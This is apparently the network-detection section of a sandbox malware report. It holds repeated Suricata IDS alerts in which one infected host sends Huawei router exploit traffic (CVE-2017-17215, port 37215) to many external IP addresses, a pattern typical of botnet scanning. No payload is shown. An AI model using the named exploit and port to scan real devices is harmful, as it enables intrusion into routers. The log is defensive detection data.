Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45746 -> 41.188.10.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44016 -> 156.100.239.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47934 -> 41.222.118.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48040 -> 41.149.131.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55972 -> 41.81.248.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48454 -> 41.26.102.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47536 -> 156.37.37.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45810 -> 156.157.129.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54212 -> 41.41.131.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43728 -> 197.189.135.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41840 -> 197.109.65.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60270 -> 41.34.19.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43840 -> 156.222.241.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60474 -> 41.146.12.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42926 -> 197.69.193.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38662 -> 197.98.225.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53306 -> 197.32.32.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53316 -> 156.184.135.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59270 -> 156.59.224.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55002 -> 156.45.243.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56244 -> 156.138.243.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36472 -> 41.221.219.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54148 -> 197.40.63.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38900 -> 156.198.249.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47536 -> 197.173.158.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38876 -> 197.174.76.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33624 -> 197.188.204.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45330 -> 197.17.1.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43242 -> 197.173.173.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59564 -> 197.92.141.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38466 -> 156.154.52.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43230 -> 41.34.225.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34228 -> 197.140.83.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50776 -> 156.7.96.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50532 -> 41.153.137.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60408 -> 156.164.215.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46606 -> 41.234.119.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59542 -> 41.189.121.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38262 -> 41.149.85.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59880 -> 41.19.142.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35040 -> 41.227.170.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39066 -> 197.77.123.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49912 -> 156.2.203.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46068 -> 197.54.249.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48144 -> 41.83.14.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37752 -> 41.236.110.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47088 -> 197.211.237.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55254 -> 197.185.106.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48862 -> 197.218.0.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55036 -> 41.55.65.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47628 -> 197.187.166.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53818 -> 156.63.212.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34516 -> 156.113.80.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40432 -> 197.64.20.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60370 -> 156.215.234.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34748 -> 41.48.239.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:32900 -> 41.213.41.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58930 -> 41.67.187.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51756 -> 41.28.36.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37454 -> 156.155.33.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37776 -> 41.42.18.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56258 -> 156.176.132.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42300 -> 197.2.232.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53748 -> 41.9.230.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47092 -> 197.98.22.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56802 -> 41.92.28.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41800 -> 197.16.249.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48844 -> 197.19.198.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47258 -> 197.93.230.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52452 -> 156.249.232.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49242 -> 41.50.219.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50924 -> 41.180.49.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55654 -> 197.36.158.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35710 -> 41.90.214.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49144 -> 156.57.243.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57954 -> 197.25.188.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39888 -> 156.149.182.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51076 -> 156.10.13.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50030 -> 41.202.94.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52628 -> 156.7.46.234:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48592 -> 156.17.174.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49308 -> 41.54.241.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33034 -> 41.60.254.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60500 -> 197.19.3.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59562 -> 156.200.197.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44906 -> 156.238.46.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50940 -> 41.224.109.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36236 -> 197.213.6.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47210 -> 156.209.232.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46804 -> 197.69.163.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50912 -> 41.160.145.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34588 -> 197.235.56.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37784 -> 41.116.131.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36306 -> 156.106.233.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45926 -> 41.106.254.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54418 -> 156.13.84.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40042 -> 197.52.4.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56840 -> 156.62.208.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53804 -> 197.32.93.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48798 -> 41.218.106.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42338 -> 156.124.74.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59270 -> 41.182.67.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35764 -> 156.21.236.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51932 -> 156.74.171.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51218 -> 156.126.95.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50890 -> 41.48.59.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45700 -> 197.15.134.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50880 -> 197.196.96.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55306 -> 197.81.139.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43452 -> 197.18.39.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34862 -> 156.159.161.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35294 -> 197.19.202.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37774 -> 41.24.62.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45632 -> 41.62.125.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60788 -> 41.90.32.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58722 -> 156.235.162.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57868 -> 41.143.121.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50484 -> 41.253.157.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34660 -> 156.197.57.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33626 -> 156.89.229.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35160 -> 41.82.164.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34640 -> 156.31.225.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45000 -> 197.144.183.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39902 -> 197.188.207.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:32854 -> 156.121.201.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51216 -> 197.39.230.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58268 -> 156.202.34.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53060 -> 41.180.9.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41948 -> 41.71.20.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43828 -> 41.19.215.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37564 -> 156.224.11.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35466 -> 41.196.183.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53994 -> 197.130.217.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55160 -> 197.40.103.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55636 -> 197.250.211.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34870 -> 197.244.249.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43174 -> 156.115.229.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49630 -> 156.153.64.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58472 -> 41.134.236.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44954 -> 41.89.93.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35706 -> 197.74.34.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41244 -> 156.228.170.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48902 -> 41.143.227.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48940 -> 197.42.161.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55290 -> 197.239.236.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59758 -> 197.200.55.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41914 -> 197.82.222.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59922 -> 197.36.42.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58364 -> 41.244.87.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52554 -> 41.227.24.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40502 -> 156.27.11.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51234 -> 197.86.238.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52760 -> 156.231.148.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54496 -> 197.244.197.40:37215
